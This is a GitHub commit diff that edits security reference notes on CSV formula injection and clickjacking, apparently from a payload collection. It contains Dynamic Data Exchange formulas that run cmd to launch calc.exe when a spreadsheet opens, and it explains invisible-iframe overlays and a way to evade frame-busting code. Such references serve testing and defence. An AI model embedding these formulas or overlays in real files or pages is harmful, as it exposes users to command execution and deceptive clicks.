You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: CSV Injection/README.md
+10-11
Original file line number
Diff line number
Diff line change
@@ -11,6 +11,16 @@
11
11
12
12
## Methodology
13
13
14
+
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
15
+
16
+
```powershell
17
+
=
18
+
+
19
+
–
20
+
@
21
+
```
22
+
23
+
14
24
Basic exploits with **Dynamic Data Exchange**.
15
25
16
26
* Spawn a calc
@@ -30,7 +40,6 @@ Basic exploits with **Dynamic Data Exchange**.
30
40
```powershell
31
41
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
32
42
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
33
-
+thespanishinquisition(cmd|'/c calc.exe'!A
34
43
= cmd|'/c calc.exe'!A
35
44
```
36
45
@@ -52,16 +61,6 @@ Technical details of the above payloads:
52
61
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
53
62
54
63
55
-
Any formula can be started with
56
-
57
-
```powershell
58
-
=
59
-
+
60
-
–
61
-
@
62
-
```
63
-
64
-
65
64
## References
66
65
67
66
- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
Copy file name to clipboardexpand all lines: Clickjacking/README.md
+7
Original file line number
Diff line number
Diff line change
@@ -42,6 +42,7 @@ the attacker can trick the user into interacting with the hidden content, believ
42
42
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
43
43
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
44
44
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
@@ -56,9 +57,11 @@ The content inside these invisible frames can be malicious, such as phishing for
56
57
57
58
***How Invisible Frames Work:**
58
59
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
63
66
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
64
67
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
@@ -70,18 +73,21 @@ Button/Form Hijacking is a Clickjacking technique where attackers trick users in
70
73
71
74
* **How Button/Form Hijacking Works:**
72
75
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
76
+
73
77
```html
74
78
<buttononclick="submitForm()">Click me</button>
75
79
```
76
80
77
81
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
156
162
157
163
* The attacker can use this attack by registering an unload event on the top page using the following example code:
0 commit comments